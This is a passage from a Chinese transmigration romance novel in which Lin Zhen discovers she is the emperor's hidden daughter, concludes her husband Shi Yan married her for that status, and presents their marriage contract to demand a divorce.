想到此,林蓁想为方怀简夫妻俩拉进些距离,她道:“她是无辜的,你好好待她。” “我也无辜,你可好好待我?” “我自然会,你是我最好的——”林蓁想了想,方怀简不愿意做兄妹,做朋友?他更不愿罢。 她改口道:“我们上辈子是最恩爱的夫妻,只是时间太过短暂,如果还有下辈子,我还想和你做夫妻。” 弥补此世遗憾。 方怀简嗤笑一声:“我只想今世做夫妻。” “我今日特地来此,就是要亲口告诉你,我既然全都想起,这辈子你我只会是夫妻,我不会放弃,你且等看。” “可是。” 不想与时彦和离,林蓁不想刺激方怀简,犹豫间到了喉咙口的话她硬生生吞了下去。 “你从来没怀疑过他?他身上那么多匪夷所思巧合之事,你从未看到过,从未生疑?” “若他真心喜欢你,因爱慕而娶你,我对你的心意后知后觉而被他占了先机,我也许会祝福你,但他不是。我只是尚未参透他的心机。” 不是没怀疑过,只是那些怀疑都被时彦后续行为化解,林蓁不想和方怀简具体解释,自己明白就好。 “此世他已是我枕边人,他对我亦极好,世之——” “叫我飞飞。” “飞飞,为人处世论迹不论心,论心世上无完人。” 方怀简打断林蓁的话:“你还记得我们出事前,你在车上看过的那本古言谈恋爱的小说吗?女主叫时姝的。” 林蓁楞了一下神,她记得那本书,可为何突然说这个。 她的不解方怀简尽收眼底,他没有解释,只是追问:“男主叫什么,你还记得吗?” 林蓁记得她看过书,可记忆已经十七年了,男主叫什么她实在想不起来。 方怀简试探道:“萧谨?萧炎?萧忱?萧叙?”这些都是当今皇子名,方怀简盯着林蓁,想证实心中怀疑。 在听到“萧忱”时,林蓁表情突然怪异起来,她微微张开嘴,楞楞看向方怀简。 “男主是萧忱,对不对?他和时姝最后成为帝后。那本小说里还有什么人物,有叫林蓁方怀简的吗?” 林蓁呆呆站着,突然身体抖动起来,晃荡得似乎随时会倒下,明亮的神色忽的消逝,满脸不可置信,脸色苍白似纸片人,方怀简伸手扶住了她。 “想起什么了?那本书是不是和我们现在的生活有关?” 林蓁点头,迟疑地问:“我们到底在哪里?这里是什么地方?” 方怀简什么都明白了,他和安安穿到了一本书里,每日做着纸片人的既定角色。他追问道:“那时彦呢,他做什么的?” 林蓁抬眸,半晌才艰难开口:“他早死了,只活在时姝和萧忱嘴里。” 第66章 第 66 章 是舍不得么 游廊廊座上, 林蓁靠着廊柱微微喘气,她脸色苍白,眼皮轻垂,长长睫羽遮挡住眼眸, 似乎心慌难捱, 方怀简握着她冰凉的手, 想给她传递些许热意。 林蓁没有力气撇开他的手, 她浑身虚脱,心里被压上一块巨石, 甩不脱颠不掉,压抑得喘不过气。怎会如此?她到底在什么时空? 疯狂回忆那本小说。 时间实在久远,十七年过去许多细节无法想起,只记得男女主谈恋爱,历经许多波折, 结局有情 人终成眷属。 男主妹妹有个玉佩认亲的剧情, 妹妹原名是不是林蓁亦不太肯定,书里和男主一样姓萧。至于方怀简, 林蓁实在想不起有这么一个人。能确定的只有女主时姝早早死了亲人,时彦就是她死去多年的哥哥。 林蓁眉头紧锁, 想起一点儿就和方怀简说上一点儿,当下除了方怀简, 她也没有其他可以诉说此事之人。 若说和飞飞一起穿书, 许多情节对不上, 可若是和那本书没关系,同名同姓的人和一些情节又很相似,实在诡异。 林蓁忆起的内容越来越多,方怀简心中疑云倒是渐渐散去。他抓住林蓁话语中的核心, 反问她:“所以说,从来没有时彦这个人?” “而你,是萧忱妹妹,以后是公主?” 林蓁垂首,默默想了片刻点点头。 “他或许和我们一样穿越,他和你一样知道小说剧情,提前规避了自己的命运。” “娶你,因为知道你会是公主?” 方怀简视线看着林蓁的手,又似看着虚空:“自从四年前他摔下山崖,他处处透着古怪,如今看来,就是这个时间节点他穿越到这个时空,努力改变命运,所以和他以前人设天差地别。” 林蓁嘴唇咬得发白,许久她应道:“他和我说过,他就是那个时候从三年后穿来。” “他预知你会娶你的表妹,你们会有许多孩子。” “一派胡言!”方怀简斥道,“他的话真真假假,莫要相信!” “可他知道我前世父母模样,我从未和他提过,如果他不是从三年后穿来,如果他不是我的夫君,他怎么可能知道呢。” 方怀简陷入了沉默,时彦这人果然深不可测,但这些细节无关紧要,不管他从哪里穿来,他利用林蓁的心思已经昭然若揭。 方怀简嘱咐林蓁:“这些细节暂时想不明白,但不妨碍时彦就是奸诈小人,诡计多端接近你娶你,不过想你做他的登云梯。” “你试一试他,他必原形毕露。” “不,”方怀简想了想,又否定自己的想法:“你心思单纯,试他不成很可能引起他的怀疑,若真相大白他恼羞成怒,或者穷凶极恶伤你害你,那可得不偿失!” “当务之急与他和离,或者先搬离侯府远离他。你在他身边,他居心不净会想方设法诱骗你。” 林蓁垂首不发一语,方怀简看过去,她眼角挂着泪珠,神情不属模样可怜至极。 他伸手想拭去林蓁眼泪,她却偏头躲开。 “我心里乱得很,现下我们各自成家,还是保持距离为宜。” 方怀简的手停在半空,她神情萎靡,泪盈于睫,明明很需要人安慰,他想搂她入怀好好慰藉,可就在她的面前,他却无法做到,方怀简心如刀绞,看着林蓁泪珠一滴滴滑落,似利刃一刀刀戳在他心口,又疼又涩。 “是舍不得么。” 林蓁未有应答。 “安安,当断则断,”一想到时彦把林蓁迷得魂不守舍的,如今事实摆在眼前,她还难舍难离,方怀简恨不得揣剑去侯府再刺他两剑,“或者,你去找萧忱,和他认了亲,他一定会护你,任时彦如何折腾也不必害怕。” “不要。” “安安,你担心什么和我说好吗?” “这个时空里,难道我不是你最亲的人?你怀疑我?不相信我?” 方怀简攥紧林蓁的手:“我再不会冲动行事,安安,我会帮你助你,我只想你快乐平安,无论在哪里。” 是啊,只有飞飞才是自己最亲近最可以无条件信赖之人,林蓁想扑进他的怀里大哭一场,她做错了什么,被人如此算计,最亲近的人就在眼前,可他成亲了! 林蓁鼻尖发酸,眼泪“啪啪”滴落在方怀简手背,她忙用丝帕擦拭,喉中哽咽道:“我回去先问问云娘,她应该知道。” “若你不便找萧忱,我也可以去找他,我见过玉佩,我递给他一点儿消息,凭他智商他定能猜出你是他妹妹。” “我先去问问云娘。” 虽然觉得自己是萧忱妹妹,但最清楚答案的人,应该是云娘,她的答案也可以确认自己和飞飞到底是不是穿书。 林蓁回想中秋节那日和云娘对话,按云娘说法,玉佩根本不是天子信物,是这样吗?现在回想,那时她的语气神态,似乎有难言之隐。 林蓁抽回自己的手,整理一番仪容,平复情绪后对方怀简道:“今日之事我俩知道即可,我会去核实一番,你等我消息。” “明日我来此处找你?” “三日后,三日后我们还是在这儿。” 傍晚时分,林蓁和梅棠走出御史台时,梅棠淡笑和林蓁分别:“盐铁使大人在等你,我们明日见。” 林蓁向御史台对面街角望了一眼,时彦的马车像往常一样在等她。以前时彦常常忙得不能回府吃饭,可自从她日日到御史台后,他好像突然就不忙了,每日都接她一起回府。 若是以前,她一定像只花蝴蝶飞向时彦,可今日之事,她再也变不成蝴蝶飞向他,但转念一想,如此平静走过去,会不会太反常被他发现端倪? 心里乱糟糟尚未拿定主意,就见时彦下了马车迎了过来,林蓁呼出一口浊气,摆出灿烂笑容小跑过去。 “累不累?”时彦牵上林蓁的手。 “有点儿。” 马车上,时彦递给林蓁一块热乎乎巾帕,“擦擦手吃东西。” 林蓁擦手空当,他把食盒里点心摆在小几上,“少吃点儿垫垫肚子,回家就吃饭。” 点心种类太多,小几上放不下,有几碟放在林蓁身边。即便总是叮嘱自己少吃,他准备的种类从来不会减少一样。 为什么对自己这样好啊,因为公主才配得? 林蓁咀嚼着点心,静静看着时彦。他长得那么赏心悦目,她觉得比飞飞还好看时,却得知这是一张假面,可他眉眼如此真诚,眉梢都带着笑意,仿佛看到自己是他一天最快乐之事,眼神清澈得似一弯泉眼,能看到他的心底。 不,是自己以为能看到他的心底。 口中点心味同嚼蜡。 “怎么了,这样的眼神看我?” “今天点心不好吃?”时彦随手拿起一个尝了尝,并没发现什么不同。 林蓁不知平常自己什么样的眼神看他,是因为没笑么? 她挤出一个淡笑,随口道:“公子只应见画,此中我独知津,我见公子眉眼,点心都能多吃几口。” 时彦眉梢笑意渐渐扩展,眸光闪烁间他伸手想捏捏林蓁脸颊,却被她低头躲闪开,他笑着靠近她,继续捏她的脸颊,林蓁弯腰躲避,却被他一个虚晃反手抱在了怀里。 林蓁的脸顿时红若晚霞,她看向刚刚从手中滚落地上的点心,可惜中带着嗔怪:“浪费了一个点心。” “那么多还不够你吃?”时彦垂下头就要吻她,在他快要触碰到的那瞬,林蓁的手终于摸到一块点心,她飞快地把点心塞进时彦嘴里。 时彦脸上仍带着笑意,把唇边点心拿开,这次双臂禁锢林蓁更紧些,他一寸寸挨近,林蓁没法动弹,在感受到他的鼻息,以为下一刻他就会亲上来时,时彦却停住了。 “不喜欢我么?”他用气声问。 林蓁的心微微抖了一下,不知怎的,总觉得他似乎察觉到什么,她害怕那种未知带来的不确定感。 在今日遇到方怀简前,她无比确信自己喜欢时彦,可在想起那本书的存在时,她流泪了,她的爱消逝了,但此刻,如此近距离里,看到自己占据时彦眼眸的全部,看到他目光温柔似水,林蓁又有些不确定。 她还是抱有一丝丝希望。 “我喜欢你,我当然喜欢你。”在时彦落下他的唇,熟练吻她侵占她的领地撩动她的情欲时,林蓁还是说出了这句话。 他那样的讨好她,支持她的愿望,顺着她的喜好,连最亲密的事亦是探寻她的敏感小心翼翼又大胆狂热地刺激她,她怎能不喜欢呢。 以为是彼此情深处本能驱使,现在她大概明白,只是讨好,可这样的讨好亦足以让她沉醉。 她沉醉其中,耳边却又响起方怀简的话,“你在他身边,他居心不净会想方设法诱骗你。” 是啊,死里逃生之人怎可能追求爱情,怎会在意这种最虚无缥缈之物,她不应被毒鸩迷惑,应该果断离开他。 在时彦放开林蓁,笑着用指腹摩挲她的唇看她喘气时,林蓁看着他的脸,还是不死心:“阿彦,你再没骗我的事罢?还有吗?” 时彦微微诧异:“我们不是说好都不骗人么。我没有再骗你的事,你有没有骗我的事?” 林蓁抿紧唇,似笑非笑摇摇头。 “权力和情爱,只能选一时,人们都会选什么?” “吁”,车夫吆喝着,马车慢了下来。 时彦没听明白,问道:“什么?” 林蓁已从他怀中坐正,她透过车帘隐隐约约看到已进了侯府侧门:“没什么,到了。” 这种问 题来问时彦,十分愚蠢,林蓁说出口就后悔,庆幸他并未听清。 与往常一样两人径直去用膳,其他人都已在饭厅等候,很平常的一日。饭后,时彦拉着林蓁想去偶园时,林蓁拒绝道:“我想去找云娘说说话。” 时彦察觉出今日林蓁异样,不过父母和弟弟妹妹都在,时彦只道:“每日都回来得晚,是有一段时间没和云娘说话,想来她亦记挂你,走罢,我和你一起回去。” 云栖院里,林蓁直奔云娘厢房,看着林蓁背影迅速消失,时彦隐约觉得哪里有变。 自从林蓁早出晚归日日去御史台,云娘就甚少见到她,不过她没什么不放心,林蓁与时彦琴瑟和谐,她计划找个合适时机该离开了。 林蓁突然敲门,云娘很是意外,她一边开门一边问:“怎么不陪你的夫君,到我这儿作甚?遇到什么不开心的事了?” “能有什么事,”林蓁向云娘淡淡一笑,“就是想你。” 云娘笑着给林蓁斟了杯茶:“你肚子里蛔虫我还不知道?说吧,什么事,云娘帮你出出主意。” 林蓁摩挲着茶盏,茶上热气氤氲慢慢消失,她呆呆看了会儿才缓缓问:“云娘,这会儿就我们二人,你告诉我真相,我是不是当今天子的孩子?” 云娘大吃一惊,目光急忙看向门窗,见门窗紧闭都关得好好的,才轻声问:“你从哪儿听说的?” 她的声音发颤,透露出她不自知的紧张,神色绷紧,如临大敌,虽然云娘什么也没说,但林蓁已知晓答案,她就是如假包换的公主,她就是书里的纸片人,时彦就冲公主身份来招惹她。 心中一点点希望一丁点光火熄灭得彻底,再不会复燃,像一个美丽肥皂泡泡,又大又亮又美,可云娘不经意的一句话,甚至没有直接说出答案,就把这个脆弱的泡泡戳破了,什么都没留下,除了手中滑腻腻的些微水渍。 她一个二房庶女,名声不佳,和方怀简纠缠不清,女扮男装跑大街上摆摊,如此这般时彦还要求娶,原来玄机都在此处。 心中说不出什么滋味,傻得可笑,蠢得生气,还有和方怀简之间被强行阻断的联系,她该恨时彦的,可心里没什么气愤,只是一片悲凉莽荒,如同荒芜大地刚刚冒出嫩芽就遭遇狂风暴雨,一切生命被吹得七零八落,一切希望被雨砸得干净。 云娘正想开口询问细节,却见林蓁脸上流淌着两条小溪,她忙拿着巾帕给林蓁擦拭眼泪,小心翼翼地问:“蓁蓁,你很委屈,是想做公主么?” 林蓁轻轻摇了摇头,她不想做什么公主,宫阙里皇权争斗你死我活,女性从来是皇权斗争的工具人或者牺牲品,她一个毫无根基半路公主去凑什么热闹,何况她记得小说中男主妹妹结局不大好。 时彦改变他短命人生,她林蓁也可以选择更好道路。 云娘似松了一口气,她眸中闪着泪光,轻轻抚摸着林蓁后背。 “好孩子,你的母亲也不想你回去做公主。” 她讲起了那段往事。 潭州秀才之女孟惠君与一位路过潭州的公子互生情愫珠胎暗结生下双生子,后来公子派人接母子时,孟惠君因父兄牵连废太子案而四处奔走营救,没有离开潭州,还留下了生病小女儿。 父兄营救无果被判充军,孟惠君未婚也没籍为婢,她带着女儿东躲西藏寻找公子,直到遇到林若柏。 林若柏帮助孟惠君寻找她的“夫君”无果,孟惠君迫于无奈嫁给林若柏,回了皇城后才知林若柏早有妻室,但木已成舟,孟惠君只能安安分分做了妾室。 可英国公府一次接待天子,府上全体主子都排队跪礼,已经改名唐氏孟惠君窥见天子后当即晕了过去,此时她才知她两个孩子的父亲是当今天子。 此时唐氏有孕,林承俭才两岁,唐氏对谁都没说,心中郁郁寡欢一病不起,早产后娃娃没了,她也不成了,临终前才把这些事儿告诉云娘,让她把天子所赠之玉扔掉。 当初唐氏按照地址寻找天子没有找到,她不知是天子还是林若柏缘故,无论哪种原因,都不宜再与天子相认。 云娘不舍得扔玉,把玉给林蓁留个念想,压根没想到这么多年过去和天子还能有牵扯。 云娘问林蓁:“你从哪儿知道这些?” 林蓁胡乱编道,是萧忱所说,明晖手中的玉是他妹妹所有,因而猜测得知。 云娘略微放心:“你母亲真实身份仍是在逃官婢,事情一旦揭露,你弟弟和英国公府怕是都会受到牵连。特别是你弟弟,马上春闱在即,耽误考试可是误了他终身!” “你母亲当年隐忍不说,也是为两个孩子前程着想,至于你,你母亲是得了林若柏亲口承诺,定给你找个好人家,她才安心闭眼。” 说到此处,云娘和林蓁都眼眶湿湿,云娘道:“既然你对公主位置无意,这事就到此为止,我们让它烂在肚子里,我不会再和第三个人说。” “玉佩就当没有见过,谁要谁拿去。” “现在你嫁给时彦,我瞧你俩夫妻和美,心里别提多开心,你母亲泉下有知定会为你高兴。你们两个自由自在,不比做公主各种规矩拘束强太多。” 云娘说到时彦,脸上悲色渐渐淡去,林蓁看着她脸色从苍白到逐渐红润,咽下心中话语什么也不再说。 第67章 第 67 章 她实在比母亲幸运 天色已晚, 云娘希望小夫妻多相处别把时间浪费在她这儿,催促林蓁快些回去,林蓁却不急不慢续了茶,央求云娘:“母亲这些事情我从不知道, 今日云娘既然说起, 再多和我说说母亲闺阁时候的事罢。” 云娘一时心中酸楚, 若不是林蓁突然问起, 小姐孟惠君永远顶着假名假身份成为一个虚无,谁会知道她曾经亦是潭州家喻户晓人人钦慕的才女佳人呢。 她先叮嘱林蓁万不可为外人道, 娓娓倾诉她心目中的完美小姐。 林蓁听着听着出了神。 她的经历和母亲何其相似! 母亲有与之心心相印男子她的父亲当今天子,可天子却未妥当安排致使母亲与他失去联系,阴差阳错嫁给爱慕她的另一位男人林若柏,而林若柏亦有私心,欺骗她娶了她, 回了皇城却全不是那么回事, 她不得不委身为妾,为了孩子们为了两位男人的前程和体面, 她自己咽下苦果,郁郁寡欢早早去世, 还带累小弟弟也未能成活! 林蓁泪眼模糊。 她那么爱恋飞飞,当初追求方怀简可以为他做任何事, 可他那么不靠谱, 送还自己的平安玉丢失, 使得她被时彦欺骗,相信时彦而嫁给他,即便事后她知道时彦不是飞飞,可一夜夫妻百日恩, 她还是接受了他的爱,孰料这份感情亦为假,而方怀简亦有了妻室。 事到如今,任何一个男人,她都与之相隔天堑,情感上的天堑,现实中的天堑,咽下这个致郁的结局,那她的以后和母亲一样,走不出来抑郁而亡。 所幸她比母亲幸运,她没有官婢的身份,她可以堂堂正正走进御史台,用笔墨成就她今后人生,此刻,林蓁无比希望通过御史台女官考试,亦慨叹冥冥中哥哥萧忱对她的帮助,没有他的引荐,她哪能跟随梅棠学习呢。 林蓁流泪得双眼通红,恰好时彦让彩橘请她回房,云娘停下了讲诉。 可林蓁并不想回去,不想面对时彦,她还没有想好如何与时彦切割,不想闹得难看,最好不要挑明真相,以免时彦又折腾出什么。 林蓁对云娘道:“我再坐会儿,我眼睛红 红的,回去他要问了。” 云娘依了她,但亦不再讲孟惠君之事,关心起林蓁在御史台各种事务,又嘱咐林蓁虽忙亦不要忘了关心时彦,这样的夫君世上再无二人。 她嘴角带着笑意,说话间俱是调侃,林蓁笑笑,应道:“云娘说的极是,这样的夫君再找不着第二人。” 这样心思缜密,为达目的无所不用其极之人,当真少见亦让人恐惧。 两人闲聊间,时彦竟亲自过来,他高大身形映在门扉上,轻扣门璧:“蓁蓁。” 林蓁看着门扉上的影子撇了撇嘴。云娘忙蹦起身开门,向时彦笑道:“许久未见蓁蓁,我忘了时辰。”一面说一面把林蓁拉到了时彦面前。 云娘厢房距离小夫妻卧室不过几步路,时彦牵着林蓁的手走在路上,明月清辉洒在两人身上,石径上落下两人暗影。 时彦柔声细语:“和云娘聊什么了,这么晚也不回来,留我一人独守空房。” 他语气颇有些撒娇嫉妒意味,若以前林蓁必会温柔哄他,可现下林蓁听出他语气中刻意,或者并不是刻意,是她知道真相后,所听所看所感都和过去大相径庭而已。 想装作以前的样子哄一哄,想想母亲孟惠君遭遇,又觉太委屈自己,林蓁垂首看着脚下石径,一时间搭话的心情都没有。 时彦早就察觉不对劲,他按捺下性情,等二人回了房间,他随手扣上门扉,一把拉住走在前面的林蓁,将她搂在怀中。 “怎么了,蓁蓁,你今天不对劲。” 这会儿室内灯火煌煌,林蓁迎上时彦目光,他敏锐察觉出她的异样。 “蓁蓁,你哭了?御史台里遇到什么事了?想告诉云娘不想告诉我么?” 林蓁瞅着时彦的眼睛,那纯澈眼神中满满关切。 自己是公主,那他会如此温柔小意一辈子这般对待自己?自己对他为所欲为乱发脾气,他也会包容宽待么?若能演戏一辈子,倒也不容易,自己好歹也算享受到,林蓁暗自腹诽。 可惜,自己不想做公主,亦不想看始终戴面具之人,那等他知道自己心思,竹篮打水一场空时会怎样呢。 林蓁在时彦怀中挣扎了下,他箍得紧紧的没有放开意思,林蓁暗想,不交代点儿什么看来他不会放过,她眨了眨眼,回道:“是有些事,我又碰到萧忱。” “曾经你让我告诉他平安玉来历,后来你改变主意,又和云娘想的一样,让我别多管闲事。” 那时林蓁还诧异,为何时彦突然改变想法,他是一个一旦做出决定不会轻易改变之人。 今日林蓁明白缘由,全为自己公主身份,他曾想自己早点与萧忱相认,自然希望自己在萧忱面前提平安玉之事,可方怀简闹腾一番指责他心怀叵测后,他大概不想自己太早认亲暴露他的心思,改变了主意。 “可我见到萧忱总是不由自主害怕,我想想,把玉的事情告诉他,他或许感激我的帮助,对我好一些。” “我去问云娘玉的事儿,我们谈及母亲,都很感伤。” “母亲若能见到你,不知会怎样激动心情。” 就像遇到林若柏一样,一定痛恨女儿遇到诡计多端之人。 林若柏欺骗,但对母亲还有点儿真心,时彦的心,林蓁琢磨须臾,过去以为他着实爱她,除去他爱她的心,他的其他林蓁其实一点儿都看不透。 不过她没有逃婢身份压制,没有孩子们拖累,她还有一份婚书,上面写着随时可以和离,她实在比母亲幸运。 时彦放下了心,问林蓁:“萧忱今日对你说了什么,做了什么,让你如此忌惮?” 林蓁并不回答,反问道:“三年后大周是何局势,天子立下太子了么?” “萧忱那时做什么?” “还有,时姝那时嫁了谁?” 时彦搂住林蓁的手微不可查地僵了僵。 第68章 第 68 章 他没有一句真话 事物发展通常有迹可循, 可过去林蓁恋慕时彦信任时彦,从未留心过那些蛛丝马迹。现在她回想过去,时彦诸多行止处处漏洞,各处破绽罅隙组合在一起, 简直在时彦脸上大写着“我别有居心。” 诸如新婚夜讨论平安玉, 诱她发誓做各种保证, 中元节非要她和时姝去遥远的红枫寺上香, 还有他惯常说谎的毛病,各种谎言张口就来, 那时她竟然觉得他有苦衷,轻易放过此事!林蓁好笑,笑自己单纯天真,亦笑时彦狂妄自大,他做得如此明显, 就笃定不会有被识破那天? 既然他读过那本小说, 他和自己一样是现代人,说什么从三年后穿来, 他的预知都是小说里的情节,明明时姝以后会是皇后, 到时他自然升级为国舅富贵荣华,为何人心不足还要来诱骗自己?! 想到此林蓁心中愤恨, 见时彦不言语, 继续追问:“我考过女官了吧?三年后我官职为何?” 时彦淡淡一笑:“怎么突然想到这些?” “你知晓三年后之事, 着人先鞭有天然优势,譬如今后谁是天子,谁为太子,我们尽早投奔于他, 岂不是事半功倍于自己前程?” 时彦轻笑:“进了官场,你也势利起来。” “怎么是势利,这是顺势而为,只有认清局势,才有我俩宏图大展的可能。时姝尚未婚配,若她三年后夫君发展不好,现在就应给她相看三年后天子身边红人。包括时隽,三年后天子倚重谁,就为他求娶那家姑娘。如此这般,侯府谁也不敢小觑,也不枉你重来一次的机缘。” “快告诉我,我考上了么?” 时彦垂首,眉心抵上林蓁额头微微磨蹭,这本是极亲昵举动,林蓁却有些不适,她抬手轻捏时彦下颚也是微微推开了他:“快说呀!” 时彦思考了须臾:“你并未考女官,我们有宝宝,你身心都在我和宝宝上,从未想过考女官。” 林蓁心下嗤笑,他可真会幻想。 “这一次,是你全新体验。” “三年后大周格局和现在一样,并没有什么变化,天子仍未立太子,各个皇子依然暗中博弈,并没有谁有明显优势。” “时姝倒是嫁人了,她嫁给了萧忱。” 三年后早就是萧忱天下,他夺取帝位后就迎时姝为后。 林蓁凝目注视着时彦,他的话真真假假,实在太具迷惑性,若不是她想起书中剧情,她定然看不透他严丝合缝的话术。 “时姝嫁给萧忱?”林蓁似乎不敢相信,“那以后,我应该不再怕他?” “是,他没那么可怕,他外冷内热,其实是很关心家人的人,”时彦脸上挂着温和的笑,“现在你知道了,也许不会那么怕他?玉的事情不用那么着急告诉他。” “不早了,快些休息罢,以后我慢慢和你说。” 听在林蓁耳里,似乎谎言还没想好,他还得好好琢磨完善一番再来继续哄骗。 林蓁收拾一下快速躺到拔步床最里面,她还没想好什么借口拒绝他,按照他俩过去频率,等会儿他一定会贴过来。 在林蓁贴着床沿想心思时,时彦慢慢脱下衣裳,林蓁今日浑身不对劲,或许他可以在床上哄好她。 吹灭了灯烛,时彦适应黑暗的同时脱掉了中衣,他转头一看,林蓁扒在拔步床最深处,似个小猴子抱紧它的树枝。 他先拉住林蓁的手,缓缓追了过来,头挨在她的颈窝,气声问:“今天是怎么了?” 林蓁背对着他:“和云娘说起母亲生前往事,想起许多许多,我两世父母都过得悲苦。” “我有没有和你提过,我前世父亲常常带我去一个叫鼋头渚的地方,有水有山,山在水中,山水一色,是我见过的最美的地方,父亲去世后,每当烦恼的时候,我都会去这个地方散心。” “我好想再去这个地方,不知这个时空它是否依然如故。” “鼋头渚?有点儿印象,你提过它很美很喜欢它。”时彦伸手慢慢搂上林蓁的腰,“什么烦恼,和我说说?” “以前我说和飞飞去过苏州耦园,你也去过吗?” 时彦一愣:“我当然没有去过。” “可你那时描述耦园情景就像你去过。” 时彦默了片刻,今日林蓁极其怪异,她到底遇到什么?是方怀简找她说了什么? 他犹豫了一会,诚恳赔礼道:“蓁蓁,对不起,我过去扮演想象中的飞飞,说了许多骗你的话。我没有去过耦园,所说或者是你告诉我的 ,或者是我想象的。” “你刚才的话也是想象的?” “什么?”时彦没有明白,隐隐感觉有些不妙。 下一刻,林蓁丢开时彦抚在腰间的手,噌一下坐起来。 她激动指责:“你说谎说习惯了?你嘴里有几句真话?!” 时彦亦坐起身,想搂住林蓁,却被她打开手。 “我最后问你,你还有哪些谎言我不知道的?” 时彦回想刚才的话。 “鼋头渚,我没有印象你提过它,但我不想你不开心,所以顺着你的话说。” “你为这个不开心吗,这是我的说话习惯,我总希望你高兴,在你的兴头上你说什么我都会附和你。” “你若是为这个不高兴,我改掉它,以后不这么说话了。” 林蓁的拳头似打在一团棉花上,她那么愤怒,事实证明他嘴里就没有一句真话,可他还能把自己说得如此无辜,似受气小媳妇,一切都是他百般讨好自己而为,她就是不懂事不会感同身受无理取闹的那个人。 只觉胸闷难受,想和时彦撕破脸,又有种预感,他做事说话滴水不漏,她冒然和他针锋相对未必讨得先机,若自己去认亲做回公主自然不担心时彦作妖,可现下不想做什么公主,就得好好考虑如何平稳甩脱他。 “蓁蓁,你不喜欢我了?”时彦握上林蓁的手,与她手指交缠。 赤。裸上身在幽暗中散发着淡淡光泽,时彦拉着林蓁的手,寸寸滑过雕塑般结实流畅的身躯,胸口,腹部,一直往下。 第69章 第 69 章 坏东西! “不喜欢吗?” 过去对林蓁极其有效的一句话, 可在知道自己的身世后,这句话绝对有pua的意味。她想抽出手,奈何时彦紧箍着引导着她,她瞪着眼, 僵直着身体咬紧牙关看向时彦。 时彦似完全没有看见, 垂首贴了过来, 一只手撑在床栏上, 林蓁本就靠在拔步床床沿,这下被他完完全全圈在怀中, 不过他并没有抱她,仍是攥紧她的手继续在肌肤上摩挲,挨紧她亲她的耳垂。 周遭全是他的气息,林蓁想避开,可那样只会倒在他的怀里, 他如此会撩, 并不亲吻林蓁正脸,只留恋在她的敏感处, 她僵直躯体被亲得渐渐柔软。 并不想如此,林蓁另一只手推他, 触碰到健硕肌肉,紧绷又有弹性, 这推却莫名变成了一种挑逗。 林蓁恨恨道:“我不想!不许欺负我!” “那你欺负我。” 他突的倒下, 拉着林蓁的手猛带她向下, 林蓁毫无防备倒在他的身上。 时彦的手立刻圈住她:“让你不高兴,怎么欺负我都行。” 林蓁枕在他的胸口,心跳声沉稳有力一声接着一声,这是她每晚最爱听的声音, 特别安稳踏实,每次她枕着这样的声音很快就睡着了。 她很烦躁,她的反抗在他看来,似乎欲拒还迎,她想咬他挠他,可那更像事前的情趣?事情怎么会变成如此,分明她应该与他大吵一架,让他意识到他的欺骗,她明明这样做了,可怎么是如今状态?枕在他的胸口? 林蓁意识到,与时彦争吵的时机不对,不应该在睡前,不能在床上。她讨厌愤恨他的欺骗,可他也是黑夜里抱紧她给她安慰的人,是耐着性子陪她闲聊逗她笑的人,是她生病时守在床边寸步不离的人,还是带着她看晚霞览瀑布说永远陪着她的人。 她其实很留恋,很留恋这些温暖,很喜欢他的讨好,听着“咚咚”心跳,有一息林蓁甚至想,算了吧,就当是交换,她容忍他的欺骗,他给予她需要的温暖。 可旋即意识到,她给不了他想要的权势,她只是他追逐目标过程中的一个工具,如果于他有用,他或许会揣着她,如果毫无用处,他自然会丢弃毫无价值的负累。 沉迷当下无异于饮鸩止渴抱薪救火。 林蓁伏在时彦胸口,眼眶渐渐湿润。 哎,为什么是自己呀。 “我有些困了,想睡了。” “那就睡罢,”时彦抚着林蓁乌发,亲了亲她的额角。 林蓁有些诧异,本以为他会闹腾一番。 “我可以枕着你睡么。” 时彦轻笑,把林蓁抱在胸口放好:“你不是一直这么睡的么。” 林蓁搂了搂时彦的腰。 是的,成亲后她一直这样入睡,但很快就不会,她眷念地贴了贴胸口,想把这样温暖的感触深深印在记忆中。 “如果你的期望实现不了,你会如何?” “我的期望都实现了,你的什么期望,让你觉得实现不了?” “我想我的爸爸妈妈,想和他们说说话。” “和我说不可以么,我帮你,我实现你的期望。” 林蓁默了片刻,问道:“我说什么都答应吗?” “做得到的都答应。” “我想搬到静苑住。” 愣了愣,时彦意识到,林蓁今日不对劲都聚集于这个问题,她想搬离毅勇侯府。 “为什么?住这里哪里不顺心?” “父母太关爱我,我有些不自在,除去过年还有差不多三个月时间,我想不受打扰地准备,我实在太想做梅大人那样的人。” “阿彦,这个你做得到,对吗?” 显然这不是林蓁真实想法,可她为何突然冒出来这般念头,时彦一时没有头绪,能猜测到的只有方怀简兴风作浪。 “这个,我和父母商量一下,我们刚刚成婚就搬出去——” “只为备考,等考完春闱,一切照旧。这样可以的,对吗?” 时彦不想答应这样一个毫无缘由充满古怪的要求,他糊弄道:“快睡罢,明日白日时我们再议。” 然而时彦没想到,等翌日他回侯府时,林蓁已搬去了静苑。他和往日时辰一样去御史台接人,却被御史台门房递上了一封信笺,林蓁要挪地方提早走了。等时彦赶回侯府,林蓁带着云娘碧竹已经没了踪影。 谢氏有些埋怨:“你媳妇说,是你们俩商量好的,马上御史台有什么事,住在侯府不方便。” “到底什么事?你越发宠她没边儿了。” 时彦搪塞道:“她跟随梅棠整理一些要案,侯府人多眼杂确实不方便。” “她的心越发野了,你可得多管束。” 时彦直奔静苑。 林蓁正等着他用饭,笑盈盈问他:“可用过饭了,我在等你。” 时彦坐下和林蓁用饭,她言行举止和往常无异,时彦忍不住道:“为何突然搬到这里,也不和我说一声。” “昨晚你不是应允我了?现下时间宝贵,一天亦浪费不得,我便马上搬了过来。” “以后我每日学习,没有时间陪你,你歇在这儿或者侯府都随你意。” 林蓁语气如常,但时彦怎会体会不出这其中冷意,只是他尚未弄明白发生了什么,按捺下性子什么没说。 用毕晚膳,林蓁径直到书房,见时彦亦跟了过来,她道:“以后我在书房看书,时辰不定,就在书房歇息。” “那我呢?” “刚刚不是说过,你歇在这儿或者侯府都随你意,卧室在后院,你知道地方的。” 林蓁说完,转身要整理书几上书籍。时彦一把攥住她手腕。 “做什么,你弄痛我了!”林蓁挣扎了两下,瞪眼看向时彦。 “是不是方怀简?!他和你说什么了?!你为何突然如此?!” 林蓁深吸一口气,一只手从书几上抽出一张红笺。 “这是通婚书,”她把红笺递到时彦面前,语气平静,“最后一款写明,和离自由,若日后女方提出,男方不得纠缠。” “我要与你和离,聘礼我全部归还,除了这处宅院。” 时彦脸色从白到红,他默了片刻,放开抓攥林蓁的手,一把拿过红笺。 